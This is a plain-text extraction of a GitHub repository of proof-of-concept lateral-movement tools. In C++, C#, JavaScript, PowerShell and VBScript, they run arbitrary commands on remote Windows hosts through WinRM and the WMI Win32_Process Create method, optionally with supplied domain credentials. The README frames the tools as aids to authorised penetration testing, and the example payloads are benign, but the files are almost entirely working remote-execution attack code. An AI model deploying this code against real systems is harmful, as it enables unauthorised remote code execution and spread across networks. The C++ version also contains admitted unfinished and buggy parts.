Full Code of bohops/WSMan-WinRM for AI

master 2e3afbf70e2f cached
7 files
17.9 KB
5.0k tokens
6 symbols
1 requests
Download .txt
Repository: bohops/WSMan-WinRM
Branch: master
Commit: 2e3afbf70e2f
Files: 7
Total size: 17.9 KB

Directory structure:
gitextract_68h61zmj/

├── CppWSManWinRM.cpp
├── LICENSE
├── README.md
├── SharpWSManWinRM.cs
├── WSManWinRM.js
├── WSManWinRM.ps1
└── WSManWinRM.vbs

================================================
FILE CONTENTS
================================================

================================================
FILE: CppWSManWinRM.cpp
================================================
/*
	CppWSManWinRM.cpp

	   Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinRM (WSMan) protocol using the WSMan.Automation COM object (wsmauto.dll)
	   Author: @bohops
	   License: BSD 3-Clause

	   Usage: CppWSManWinRM.exe [hostname] [command]
	   //Usage: CppWSManWinRM.exe [hostname] [command] [domain\user] [password] <-- Does not work...yet

	   Example: CppWSManWinRM.exe host.domain.local notepad.exe
	   //Example: CppWSManWinRM.exe host.domain.local "cmd /c notepad.exe" domain\joe.user P@ssw0rd <-- Does not work...yet

	   Link: http://forums.codeguru.com/showthread.php?499875-WSManAutomation-lib-is-missing (Primary Code Source -> credit: ssoma from CodeGuru forums)
	   Link: https://docs.microsoft.com/en-us/windows/win32/winrm/wsman
*/

#include <comdef.h>
#include <windows.h>
#include <wsmandisp.h>
#include "wsmandisp_i.c"
#include <iostream>

using namespace std;

int ExecRemoteCmd(string host, string cmd, string user, string passwd);

int main(int argc, char** argv)
{
	if (argc == 3) //Args: 2 (+ 1)
		int res = ExecRemoteCmd(argv[1], argv[2], "", "");
	else if (argc == 5) //Args: 4 (+1)
		cout << ":-|"; //int res = ExecRemoteCmd(argv[1], argv[2], argv[3], argv[4]); <--- not implemented....yet
	else
	{
		cout << "Usage:   CppWSManWinRM.exe [hostname] [command]" << endl;
		cout << "Example: CppWSManWinRM.exe host.domain.local \"cmd /c notepad.exe\"" << endl;
		//cout << "  -or-" << endl;
		//cout << "Usage:   CppWSManWinRM.exe [hostname] [command] [domain\\user] [password]" << endl;
		//cout << "Example: CppWSManWinRM.exe host.domain.local \"cmd /c notepad.exe\" domain\\joe.user P@ssw0rd" << endl;
	}
}
int ExecRemoteCmd(string host, string cmd, string user, string passwd)
{
	_bstr_t protocol = "http";
	_bstr_t port = "5985";

	_bstr_t hostname = (_bstr_t)host.c_str();
	_bstr_t command = (_bstr_t)cmd.c_str();
	//_bstr_t username = (_bstr_t)user.c_str();
	//_bstr_t password = (_bstr_t)passwd.c_str();

	HRESULT hres = NULL;
	HRESULT hr = S_OK;
	IDispatch* pSvc = NULL;
	IDispatch* pOptions = NULL;
	IWSManSession* pSvc1 = NULL;

	// Initialize COM
	hres = CoInitializeEx(0, COINIT_MULTITHREADED);
	if (FAILED(hres))
	{
		cout << "Failed to initialize COM library. Error code = 0x" << hex << hres << endl;
		return 1; // Program has failed.
	}

	//Instatliate WSMAN COM Object
	IWSMan* pLoc = NULL;
	hres = CoCreateInstance(CLSID_WSMan, 0, CLSCTX_INPROC_SERVER, IID_IWSMan, (LPVOID*)&pLoc);
	if (FAILED(hres))
	{
		cout << "Failed to create IWSMan object." << " Err code = 0x" << hex << hres << endl;
		CoUninitialize();
		return 1; // Program has failed.
	}

	//Create Remote Session
	cout << "[*] Creating session with the remote system..." << endl;
	pSvc = reinterpret_cast<IDispatch*>(pSvc1);
	long f = 0;

	// This needs to be fixed for supplied credentials.  Pull requests welcome...
	//if ("creds")
	//{
	//	//HRESULT SessionFlagUseNoAuthentication(f);
	//	HRESULT SessionFlagCredUsernamePassword(f);
	//	IWSManConnectionOptions* options = NULL;
	//	options->put_UserName(bstr_t("corp\\corpmin"));
	//	options->put_Password(bstr_t("CorpM@ster"));
	//	pOptions = reinterpret_cast<IDispatch*>(options);
	//	hres = pLoc->CreateConnectionOptions(&pOptions);
	//	hres = pLoc->CreateSession(_bstr_t("http://corp-dc:5985/wsman"), f, pOptions, &pSvc);
	//}
	//else
	//{
	//	hres = pLoc->CreateSession(_bstr_t("http://corp-dc:5985/wsman"), 0, NULL, &pSvc);
	//}

	hres = pLoc->CreateSession(protocol + _bstr_t("://") + hostname + _bstr_t(":") + port + _bstr_t("/wsman"), 0, NULL, &pSvc);
	if (FAILED(hres))
	{
		cout << "Could not connect. Error code = 0x" << hex << hres << endl;
		pLoc->Release();
		CoUninitialize();
		return 1; // Program has failed.
	}

	//Invoke Command
	cout << "[*] Connected to the remote WinRM system" << endl;
	pSvc1 = reinterpret_cast<IWSManSession*>(pSvc);
	_variant_t resource = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";
	_bstr_t parameters = "<p:Create_INPUT xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\"><p:CommandLine>" + command + "</p:CommandLine></p:Create_INPUT>";
	wchar_t* response = new wchar_t(1000);
	hres = pSvc1->Invoke(_bstr_t("Create"), resource, parameters, 0, &response);

	//Print Response 
	cout << "[*] Result Code: " << response;

	//Cleanup
	pSvc->Release();
	pSvc1->Release();
	pOptions->Release();
	pLoc->Release();
	CoUninitialize();

	return 0;
}

================================================
FILE: LICENSE
================================================
BSD 3-Clause License

Copyright (c) 2020, bohops
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

3. Neither the name of the copyright holder nor the names of its
   contributors may be used to endorse or promote products derived from
   this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


================================================
FILE: README.md
================================================
# WSMan-WinRM
A collection of proof-of-concept source code and scripts for executing remote commands over WinRM using the WSMan.Automation COM object. 

## Background
For background information, please refer to the following blog post: [WS-Management COM: Another Approach for WinRM Lateral Movement](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)

## Notes
- SharpWSManWinRM.cs and CppWsManWinRM.cpp compile in Visual Studio 2019.  Refer to the code comments for required imports/references/etc.
- All examples leverage the WMI Win32_Process class and WMI Create method for invocation. 

## Usage

### SharpWSManWinRM.cs
```
 Usage: SharpWSManWinRM.exe <hostname> <command>
 Usage: SharpWSManWinRM.exe <hostname> <command> <domain\user> <password>

 Example: SharpWSManWinRM.exe host.domain.local notepad.exe
 Example: SharpWSManWinRM.exe host.domain.local "cmd /c notepad.exe" domain\joe.user P@ssw0rd
```
### WSManWinRM.ps1
```
 Usage: Invoke-WSManWinRM -hostname <hostname> -command <command>
 Usage: Invoke-WSManWinRM -hostname <hostname> -command <command> -user <domain\user> -password <password>

 Example: import-module .\WSManWinRM.ps1
          Invoke-WSManWinRM -hostname MyServer.domain.local -command calc.exe
 Example: import-module .\WSManWinRM.ps1
          Invoke-WSManWinRM -hostname MyServer.domain.local -command calc.exe -user domain\joe.user -password P@ssw0rd
```		  
		  
### WSManWinRM.vbs
```
 Usage: cscript.exe SharpWSManWinRM.vbs <hostname> <command>
 Usage: cscript.exe SharpWSManWinRM.vbs <hostname> <command> <domain\user> <password>

 Example: cscript.exe SharpWSManWinRM.vbs host.domain.local notepad.exe
 Example: cscript.exe SharpWSManWinRM.vbs host.domain.local "cmd /c notepad.exe" domain\joe.user P@ssw0rd	
```
### WSManWinRM.js
```
 Usage: cscript.exe SharpWSManWinRM.js <hostname> <command>
 Usage: cscript.exe SharpWSManWinRM.js <hostname> <command> <domain\user> <password>

 Example: cscript.exe SharpWSManWinRM.js host.domain.local notepad.exe
 Example: cscript.exe SharpWSManWinRM.js host.domain.local "cmd /c notepad.exe" domain\joe.user P@ssw0rd	 
```
### CppWSManWinRM.cpp
```
 Usage: CppWSManWinRM.exe <hostname> <command>

 Example: CppWSManWinRM.exe host.domain.local notepad.exe
 
 Note: Username/password option does not work yet
 ```
 
## Ethics

WSMan-WinRM is designed to help security professionals perform ethical and legal security assessments and penetration tests. Do not use for nefarious purposes.



================================================
FILE: SharpWSManWinRM.cs
================================================
/*
    SharpWSManWinRM.cs

       Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinRM (WSMan) protocol using the WSMan.Automation COM object (wsmauto.dll)
       Author: @bohops
       License: BSD 3-Clause

       Usage: SharpWSManWinRM.exe [hostname] [command]
       Usage: SharpWSManWinRM.exe [hostname] [command] [domain\user] [password]

       Example: SharpWSManWinRM.exe host.domain.local notepad.exe
       Example: SharpWSManWinRM.exe host.domain.local "cmd /c notepad.exe" domain\joe.user P@ssw0rd

       Link: https://docs.microsoft.com/en-us/windows/win32/winrm/wsman
*/

using System;
using System.Runtime.InteropServices;
using System.Xml;
using WSManAutomation;  //Add Reference -> windows\system32\wsmauto.dll (or COM: Microsoft WSMan Automation V 1.0 Library)

namespace SharpWinRM
{
    //Globals vars to store protocol/port info for now before testing out TLS/SSL
    public class Globals
    {
        public const string protocol = "http";
        public const string port = "5985";
    }
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 2)
                ExecRemoteCmd(args[0], args[1], "", "");
            else if (args.Length == 4)
                ExecRemoteCmd(args[0], args[1], args[2], args[3]);
            else
            {
                Console.WriteLine("Usage:   SharpWSManWinRM.exe [hostname] [command]\n" +
                                  "Example: SharpWSManWinRM.exe host.domain.local \"cmd /c notepad.exe\"");
                Console.WriteLine("\n    -or-\n");
                Console.WriteLine("Usage:   SharpWSManWinRM.exe [hostname] [command] [domain\\user] [password]\n" +
                                  "Example: SharpWSManWinRM.exe host.domain.local \"cmd /c notepad.exe\" domain\\joe.user P@ssw0rd");
            }
        }

        static void ExecRemoteCmd(string host, string cmd, string user, string password)
        {
            try
            {
                //Setup session & execute remote command
                IWSManEx wsman = new WSMan();
                IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
                string sessionUrl = Globals.protocol + "://" + host + ":" + Globals.port + "/wsman";

                IWSManSession session = (IWSManSession)wsman.CreateSession(sessionUrl, 0, options);
                if ((user.Length > 0) && (password.Length > 0))
                {
                    options.UserName = user;
                    options.Password = password;
                    session = (IWSManSession)wsman.CreateSession(sessionUrl, wsman.SessionFlagCredUsernamePassword(), options);
                }

                string resource = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";
                string parameters = "<p:Create_INPUT xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\"><p:CommandLine>" + cmd + "</p:CommandLine></p:Create_INPUT>";
                string response = session.Invoke("Create", resource, parameters);

                //(Poorly) Parse XML response and print values
                XmlDocument xml = new XmlDocument();
                xml.LoadXml(response);
                Console.WriteLine("xsi         : " + xml.DocumentElement.GetAttribute("xmlns:xsi"));
                Console.WriteLine("p           : " + xml.DocumentElement.GetAttribute("xmlns:p"));
                Console.WriteLine("cim         : " + xml.DocumentElement.GetAttribute("xmlns:cim"));
                Console.WriteLine("lang        : " + xml.DocumentElement.GetAttribute("xml:lang"));
                Console.WriteLine("ProcessId   : " + xml.DocumentElement.ChildNodes[0].InnerText);
                Console.WriteLine("ReturnValue : " + xml.DocumentElement.ChildNodes[1].InnerText);

                //Cleanup COM Object
                Marshal.ReleaseComObject(session);
                Marshal.ReleaseComObject(options);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message.ToString());
            }
        }
    }
}

================================================
FILE: WSManWinRM.js
================================================
/*
WSManWinRM.js
       Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinRM(WSMan) protocol using the WSMan.Automation COM object (wsmauto.dll)
       Author: @bohops
       License: BSD 3-Clause

       Usage: cscript.exe WSManWinRM.js [hostname] [command]
       Usage: cscript.exe WSManWinRM.js [hostname] [command] [domain\user] [password]

       Example: cscript.exe WSManWinRM.js host.domain.local notepad.exe
       Example: cscript.exe WSManWinRM.js host.domain.local "cmd /c notepad.exe" domain\joe.user P@ssw0rd

       Link: https://docs.microsoft.com/en-us/windows/win32/winrm/wsman
*/

var args = WScript.Arguments;
var protocol = "http";
var port = "5985";

var wsman = new ActiveXObject("Wsman.Automation");
var options = wsman.CreateConnectionOptions();
var sessionUrl = protocol + "://" + args(0) + ":" + port + "/wsman";

var session = wsman.CreateSession(sessionUrl, 0, options);
if (args.Count() == 4) 
{
    options.UserName = args(2);
    options.Password = args(3);
    session = wsman.CreateSession(sessionUrl, wsman.SessionFlagCredUsernamePassword(), options);
}

var resource = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";
var parameters = "<p:Create_INPUT xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\"><p:CommandLine>" + args(1) + "</p:CommandLine></p:Create_INPUT>";
var response = session.invoke("Create", resource, parameters);
WScript.Echo(response);

================================================
FILE: WSManWinRM.ps1
================================================
function Invoke-WSManWinRM
{
<#
    .SYNOPSIS
        Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinRM (WSMan) protocol using the WSMan.Automation COM object (wsmauto.dll)
        Inspiration: Invoke-WSManAction
        Author: @bohops
        License: BSD 3-Clause
    .PARAMETER hostname
        The hostname (or FQDN) of the remote WinRM host. Required.
    .PARAMETER command
        The command to execute remotely. Required.
    .PARAMETER user
        Domain\Username (credential). Optional.
    .PARAMETER password
        Password (credential). Optional. 
    .EXAMPLE
        PS C:\> Invoke-WSManWinRM -hostname MyServer.domain.local -command calc.exe
        Returns XML Blog with PID if successful
    .EXAMPLE
        PS C:\> Invoke-WSManWinRM -hostname MyServer.domain.local -command calc.exe -user domain\joe.user -password P@ssw0rd
        Returns XML Blog with PID if successful
    .LINK
        https://docs.microsoft.com/en-us/windows/win32/winrm/wsman
#>
    Param
    (
         [Parameter(Mandatory=$true, Position=0)]
         [string] $hostname,
         [Parameter(Mandatory=$true, Position=1)]
         [string] $command,
         [Parameter(Mandatory=$false, Position=2)]
         [string] $user,
         [Parameter(Mandatory=$false, Position=3)]
         [string] $password
    )

    $protocol = "http"
    $port = "5985"

    $wsman = new-object -com WSMan.Automation
    $options = $wsman.CreateConnectionOptions()
    $sessionUrl = $protocol + "://" + $hostname + ":" + $port + "/wsman"

    $session = $wsman.CreateSession($sessionUrl, 0, $options)
    if (($user.Length -gt 0) -and ($password.Length -gt 0))
    {
        $options.Username = $user
        $options.Password = $password
        $session = $wsman.CreateSession($sessionUrl, $wsman.SessionFlagCredUsernamePassword(), $options)
    }

    
    $resource = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process"
    $parameters = "<p:Create_INPUT xmlns:p=`"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process`"><p:CommandLine>" + $command + "</p:CommandLine></p:Create_INPUT>"
    $response = $session.Invoke("Create", $resource, $parameters)
    write-host $response
}


================================================
FILE: WSManWinRM.vbs
================================================
'WSManWinRM.vbs
'       Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinRM(WSMan) protocol using the WSMan.Automation COM object (wsmauto.dll)
'       Inspiration: Invoke-WSManAction (PowerShell)
'       Author: @bohops
'       License: BSD 3-Clause
'
'       Usage: cscript.exe WSManWinRM.vbs [hostname] [command]
'       Usage: cscript.exe WSManWinRM.vbs [hostname] [command] [domain\user] [password]
'
'       Example: cscript.exe WSManWinRM.vbs host.domain.local notepad.exe
'       Example: cscript.exe WSManWinRM.vbs host.domain.local "cmd /c notepad.exe" domain\joe.user P@ssw0rd
'
'       Link: https://docs.microsoft.com/en-us/windows/win32/winrm/wsman

dim arg, protocol, port, wsman, session, sessionUrl, resource, options, parameters, response

set args = wscript.arguments
protocol = "http"
port = "5985"

set wsman = CreateObject("Wsman.Automation")
set options = wsman.CreateConnectionOptions
sessionUrl = protocol + "://" + args(0) + ":" + port + "/wsman"

set session = wsman.CreateSession(sessionUrl, 0, options)
if args.count = 4 then
    options.UserName = args(2)
    options.Password = args(3)
    set session = wsman.CreateSession(sessionUrl, wsman.SessionFlagCredUsernamePassword, options)
end if


resource = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process"
parameters = "<p:Create_INPUT xmlns:p=""http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process""><p:CommandLine>" + args(1) + "</p:CommandLine></p:Create_INPUT>"
response = session.invoke("Create", resource, parameters)
wscript.echo response
Download .txt
gitextract_68h61zmj/

├── CppWSManWinRM.cpp
├── LICENSE
├── README.md
├── SharpWSManWinRM.cs
├── WSManWinRM.js
├── WSManWinRM.ps1
└── WSManWinRM.vbs
Download .txt
SYMBOL INDEX (6 symbols across 2 files)

FILE: CppWSManWinRM.cpp
  function main (line 28) | int main(int argc, char** argv)
  function ExecRemoteCmd (line 43) | int ExecRemoteCmd(string host, string cmd, string user, string passwd)

FILE: SharpWSManWinRM.cs
  class Globals (line 25) | public class Globals
  class Program (line 30) | class Program
    method Main (line 32) | static void Main(string[] args)
    method ExecRemoteCmd (line 48) | static void ExecRemoteCmd(string host, string cmd, string user, string...
Condensed preview — 7 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (20K chars).
[
  {
    "path": "CppWSManWinRM.cpp",
    "chars": 4574,
    "preview": "/*\r\n\tCppWSManWinRM.cpp\r\n\r\n\t   Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinR"
  },
  {
    "path": "LICENSE",
    "chars": 1514,
    "preview": "BSD 3-Clause License\n\nCopyright (c) 2020, bohops\nAll rights reserved.\n\nRedistribution and use in source and binary forms"
  },
  {
    "path": "README.md",
    "chars": 2511,
    "preview": "# WSMan-WinRM\nA collection of proof-of-concept source code and scripts for executing remote commands over WinRM using th"
  },
  {
    "path": "SharpWSManWinRM.cs",
    "chars": 4264,
    "preview": "/*\r\n    SharpWSManWinRM.cs\r\n\r\n       Purpose: A simple POC for leveraging a WMI class to execute a remote command over "
  },
  {
    "path": "WSManWinRM.js",
    "chars": 1522,
    "preview": "/*\r\nWSManWinRM.js\r\n       Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinRM(WS"
  },
  {
    "path": "WSManWinRM.ps1",
    "chars": 2307,
    "preview": "function Invoke-WSManWinRM\r\n{\r\n<#\r\n    .SYNOPSIS\r\n        Purpose: A simple POC for leveraging a WMI class to execute a"
  },
  {
    "path": "WSManWinRM.vbs",
    "chars": 1640,
    "preview": "'WSManWinRM.vbs\r\n'       Purpose: A simple POC for leveraging a WMI class to execute a remote command over the WinRM(WSM"
  }
]

About this extraction

This page contains the full source code of the bohops/WSMan-WinRM GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 7 files (17.9 KB), approximately 5.0k tokens, and a symbol index with 6 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!